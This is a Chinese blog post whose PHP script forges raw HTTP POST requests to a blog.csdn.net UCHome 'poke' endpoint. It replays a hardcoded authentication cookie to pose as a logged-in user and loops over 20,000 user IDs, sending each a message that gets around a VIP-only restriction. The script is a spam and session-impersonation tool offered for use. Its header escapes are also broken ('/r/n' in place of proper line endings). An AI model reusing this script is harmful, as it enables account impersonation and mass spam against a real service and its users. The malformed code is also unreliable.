自己动手，使用PHP的SOCKET来伪造POST数据

<?php
/**
* 模拟POST方式向服务器发送数据
*
* @param  string  $url  服务器地址
* @param  array   $data 数据
*
* @author 363167680@qq.com 永不放弃
*
*/
function send_post_data($url,$rawdata){
//初始化变量
$header = "";
$data = "";

//分析$url
$url = parse_url($url);
if(!$url) return "couldn't parse url!";
if(!isset($url['port'])) $port = 80;
else $port = $url['port'];
if(!isset($url['query'])) $url['query'] = "";

//整理数据部分
while (list($k,$v) = each($rawdata)){
$data .= ($data ? "&" : "");
$data .= rawurlencode($k)."=".rawurlencode($v);
}

//打开连接
$fp = fsockopen($url['host'],$port,$errno,$errstr);
if (!$fp) return "Failed to open socket to $url[host] $port ERROR: $errno - $errstr";

//组织Header部分的数据
$header = "POST ". $url['path']."?".$url['query']." HTTP/1.1/r/n";
$header .= "Host: $url[host]/r/n";
//这里一定要不能出错，我就是因为urlencoded错写为urlencode才耽误了一多半的时间！
$header .= "Content-Type: application/x-www-form-urlencoded/r/n";
$header .= "Content-Length: ". strlen($data). "/r/n";
//让服务器相信我是登录状态
$header .= "Cookie: uchome_auth=f984Ow75YSmRJiuDj6pX00jbhEjl8F3fVQeXuFW6K4Q%2BbEEaCvQB0EtSK3ZaJeaZGpLCFOlLRk2gaApuWHvkdSPw%2BD4;uchome_loginuser=adminisidiot/r/n";
$header .= "Cookie2: /$version=/"1/"/r/n";
$header .= "Connection: close/r/n";
$header .= "/r/n";

//Header和Data部分一定要一次写入，不能分开；
//Header和Data部门要以 /r/n 作为区分
fputs($fp, $header.$data);

$line = fgets($fp, 4096);

//关闭连接
fclose($fp);

return $line;
}

for ($index = 0; $index < 20000; $index++) {
send_post_data(
"http://blog.csdn.net/cp.php?ac=poke&op=reply&uid=".$index,
array(
"iconid" => 6,
"note" => "我不是VIP，但是也可以给你发消息",
"refer" => "",
"pokesubmit" => "true",
"pokesubmit_btn" => "确定",
"formhash" => "374a296e")
);
}
?>